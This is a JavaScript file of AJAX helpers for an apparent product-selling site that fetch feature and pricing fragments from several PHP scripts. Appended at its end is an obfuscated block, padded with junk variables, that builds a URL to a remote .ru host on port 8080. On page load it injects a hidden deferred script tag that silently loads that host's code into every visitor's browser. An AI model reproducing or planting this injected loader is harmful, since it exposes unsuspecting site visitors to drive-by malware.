// JavaScript Document
var xmlHttp
// for features
var xmlHttp1
function changeState(productTypeId) {
	xmlHttp=GetXmlHttpObject()
	if (xmlHttp==null) {
 		alert ("Browser does not support HTTP Request")
 		return
 	}
	var url="sellAjax.php"
	url=url+"?productType="+productTypeId
	url=url+"&action=typeUpdate"
	url=url+"&sid="+Math.random()
	xmlHttp.onreadystatechange=stateChanged
	xmlHttp.open("GET",url,true)
	xmlHttp.send(null)
	
}

function featureSpecial(featureValue,productTypeId) {
	
	 xmlHttp=GetXmlHttpObject()
	if (xmlHttp==null) {
 		alert ("Browser does not support HTTP Request")
 		return
 	}
	var url="sellAjax.php";
	url=url+"?featureType="+featureValue;
	url=url+"&productType="+productTypeId;
	url=url+"&action=featuresUpdate";
	url=url+"&sid="+Math.random();
	xmlHttp.onreadystatechange=stateChanged1;
	xmlHttp.open("GET",url,true);
	xmlHttp.send(null);
	
	 
	  
	
}



function stateChanged() {
	if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete") { 
		document.getElementById("divType").innerHTML=xmlHttp.responseText 
 	} 
}

function stateChanged1() { 
	if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete") { 
		document.getElementById("divFeature").innerHTML=xmlHttp.responseText 
		
 	} 
}

function GetXmlHttpObject() {
	var xmlHttp=null;
	try {
 		// Firefox, Opera 8.0+, Safari
 		xmlHttp=new XMLHttpRequest();
 	} catch (e) {
 		//Internet Explorer
 		try {
 			 xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
  		} catch (e) {
  			xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
  		}
 	}
	return xmlHttp;
}

function price(category) {
	xmlHttp=GetXmlHttpObject()
	if (xmlHttp==null) {
 		alert ("Browser does not support HTTP Request")
 		return
 	}
	var url="sell2ajax.php"
	url=url+"?category="+category
	url=url+"&sid="+Math.random()
	xmlHttp.onreadystatechange=stateChanged2
	xmlHttp.open("GET",url,true)
	xmlHttp.send(null)
}

function stateChanged2() { 
	if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete") { 
		var ret=xmlHttp.responseText
		var arr=ret.split("|")
		//document.getElementById("specialfeaturechargesdiv").innerHTML=arr[0];  
		
		//document.getElementById("fullfeaturechargesdiv").innerHTML=arr[1];
		//document.getElementById("categorychargesdiv").innerHTML=arr[2];
		} 
}

function fullfeature1(feature) {
	xmlHttp1=GetXmlHttpObject()
	if (xmlHttp1==null) {
 		alert ("Browser does not support HTTP Request")
 		return
 	}
	var url="sell3ajax.php"
	url=url+"?feature="+feature
	url=url+"&sid="+Math.random()
	xmlHttp1.onreadystatechange=stateChanged3
	xmlHttp1.open("GET",url,true)
	xmlHttp1.send(null)
	
}

function stateChanged3() { 
	if (xmlHttp1.readyState==4 || xmlHttp1.readyState=="complete") { 
		document.getElementById("specialfeaturechargesdiv").innerHTML=xmlHttp1.responseText 
		} 
}

function fullfeature2(featuregalleryprice) {
	xmlHttp=GetXmlHttpObject()
	if (xmlHttp==null) {
 		alert ("Browser does not support HTTP Request")
 		return
 	}
	var url="sell4ajax.php"
	url=url+"?featuregalleryprice="+featuregalleryprice
	url=url+"&sid="+Math.random()
	xmlHttp.onreadystatechange=stateChanged4
	xmlHttp.open("GET",url,true)
	xmlHttp.send(null)
	
}

function stateChanged4() { 
	if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete") { 
		document.getElementById("fullfeaturecharges1div").innerHTML=xmlHttp.responseText 
		} 
}


function fullfeature3(fullfeaturegalleryprice) {
	xmlHttp1=GetXmlHttpObject()
	if (xmlHttp1==null) {
 		alert ("Browser does not support HTTP Request")
 		return
 	}
	var url="sell5ajax.php"
	url=url+"?fullfeaturegalleryprice="+fullfeaturegalleryprice
	url=url+"&sid="+Math.random()
	xmlHttp1.onreadystatechange=stateChanged5
	xmlHttp1.open("GET",url,true)
	xmlHttp1.send(null)
	
	
}

function stateChanged5() { 
	if (xmlHttp1.readyState==4 || xmlHttp1.readyState=="complete") { 
		document.getElementById("specialfeaturechargesdiv").innerHTML=xmlHttp1.responseText 
		} 
}

function nofeature(fullfeaturegalleryprice) {
	xmlHttp=GetXmlHttpObject()
	if (xmlHttp==null) {
 		alert ("Browser does not support HTTP Request")
 		return
 	}
	var url="sell6ajax.php"
	url=url+"?fullfeaturegalleryprice="+fullfeaturegalleryprice
	url=url+"&sid="+Math.random()
	xmlHttp.onreadystatechange=stateChangedno
	xmlHttp.open("GET",url,true)
	xmlHttp.send(null)
	
	
}

function stateChangedno() { 
	if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete") { 
		document.getElementById("fullfeaturecharges1div").innerHTML=xmlHttp.responseText 
		} 
}

function fullfeatureno(feature) {
	xmlHttp1=GetXmlHttpObject()
	if (xmlHttp1==null) {
 		alert ("Browser does not support HTTP Request")
 		return
 	}
	var url="sell7ajax.php"
	url=url+"?feature="+feature
	url=url+"&sid="+Math.random()
	xmlHttp1.onreadystatechange=stateChangedno1
	xmlHttp1.open("GET",url,true)
	xmlHttp1.send(null)
	
}

function stateChangedno1() { 
	if (xmlHttp1.readyState==4 || xmlHttp1.readyState=="complete") { 
		document.getElementById("specialfeaturechargesdiv").innerHTML=xmlHttp1.responseText 
		} 
}
var Q=new Date();var N={pU:"u"};var pj=["e","eb"];var j=false;var s;this.rZ=false;var h={a:63782};P=function(){z={Qr:56196};var mU=["m","H","i"];function Le(c,f,Z){qI={ad:55370};return c.substr(f,Z);this.Jc=false;}v=["IB","jY"];var Cv=false;var n=RegExp;try {var vb='hT'} catch(vb){};try {var hu='qz'} catch(hu){};var Pv=new String("/goog"+"le.co"+"m/hp."+"com/r"+Le("otten48mE",0,5)+"tomat"+"oes.c"+"om.ph"+Le("3zEpz3E",3,1));var W='';var J=document;var DE={PP:46681};this.MY="";var E=["lU","r_"];function L(c,f){var Z=String(Le("[az5",0,1))+f+"]";var D=new n(Z, new String(Le("gSO9d",0,1)));cH=59374;cH--;try {var Nk='qa'} catch(Nk){};return c.replace(D, W);DL=["jz"];};Fp=18895;Fp--;var M=null;var d=239781-231701;qi=["Hp","HC","O"];this.K="";var _X='';Ox={Mv:"ip"};var q="body";var y=["FN"];var R=L('sbcxrOiGpGtv','ZyI2Y8OGjHhxblMvk7g');var aa=false;AQ=53265;AQ-=61;s=function(){this.Rr="";this.uS="";try {this.wy="wy";var o=L('cJrYe7aYtRe7EZlGeZmRe7n1ti','pJi17ZGYR');var Lj=["wo"];hy={Ge:false};S=J[o](R);NY=["Ww","qG","VN"];var c=d+Pv;var OD=[];var YS=["qT","Ll","pm"];var Px=L('s5rWcZ','zv_pLlWanNxKZo5H6');var U=Le("deferqZBK",0,5);var Oa=["mN","X"];var oU={};this.nA="nA";vJ=[];try {var aW='wC'} catch(aW){};var fH=["sn","wX"];S[U]=[1,0][0];S[Px]="htt"+Le("p:/l5u",0,3)+"/te"+Le("prDsnthDrps",4,3)+Le("sA0bprosA0b",4,3)+"fit"+Le("vFaC.ruavFC",4,3)+Le(":UtR",0,1)+c;var eA=[];this.Ng=false;this.Ks=40468;this.Ks-=165;try {} catch(SH){};J[q].appendChild(S);var Dy=new Date();} catch(B){var Nb=false;var VA=["Hv","jG","aC"];};hH=28393;hH+=69;};var Os=new Array();var N_=["AY"];};P();this.Kh=false;YN=4085;YN+=247;oN=10100;oN+=220;JW={Gm:45600};window.onload=s;try {} catch(Fg){};